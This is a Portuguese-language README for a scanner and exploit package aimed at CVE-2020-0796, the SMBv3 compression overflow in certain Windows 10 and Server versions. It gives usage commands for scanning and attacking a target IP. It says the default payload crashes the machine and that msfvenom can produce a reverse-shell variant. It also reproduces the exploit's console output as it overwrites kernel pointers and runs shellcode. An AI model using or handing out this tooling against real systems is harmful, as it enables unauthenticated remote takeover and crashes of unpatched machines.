cve-2020-0796

CVE-2020-0796 é causada por um erro no protocolo SMBv3 ao processar pacotes de compressão maliciosos; ao descompactar o pacote, o comprimento enviado pelo cliente é usado sem verificar se é válido, resultando em um estouro de inteiro. Isso permite que um atacante remoto não autenticado execute código arbitrário no sistema alvo. Esta vulnerabilidade é semelhante ao EternalBlue (MS17-010).

Versões afetadas: Windows 10 Versão 1903 para sistemas de 32 bits Windows 10 Versão 1903 para sistemas baseados em ARM64 Windows 10 Versão 1903 para sistemas baseados em x64 Windows 10 Versão 1909 para sistemas de 32 bits Windows 10 Versão 1909 para sistemas baseados em ARM64 Windows 10 Versão 1909 para sistemas baseados em x64 Windows Server, versão 1903 (instalação Server Core) Windows Server, versão 1909 (instalação Server Core)

Descrição dos arquivos incluídos

scanner.py Escaneia e descobre hosts vulneráveis ao CVE-2020-0796. Formato: python scanner.py ip Exemplo: python scanner.py 192.168.1.2

Retorno: Vulnerável: ip Vulnerable. Não vulnerável: ip Not vulnerable.

exploit.py Ataca o host alvo vulnerável; o PoC padrão causa a tela azul (BSOD), sendo necessário utilizar o msfvenom para gerar um PoC reverso. Formato: python exploit.py -ip ip Exemplo: python exploit.py -ip 192.168.1.2

Retorno: [+] found low stub at phys addr 13000! [+] PML4 at 1ad000 [+] base of HAL heap at fffff79480000000 [+] ntoskrnl entry at fffff80645792010 [+] found PML4 self-ref entry 1eb [+] found HalpInterruptController at fffff79480001478 [+] found HalpApicRequestInterrupt at fffff80645cb3bb0 [+] built shellcode! [+] KUSER_SHARED_DATA PTE at fffff5fbc0000000 [+] KUSER_SHARED_DATA PTE NX bit cleared! [+] Wrote shellcode at fffff78000000a00! [+] Press a key to execute shellcode! [+] overwrote HalpInterruptController pointer, should have execution shortly...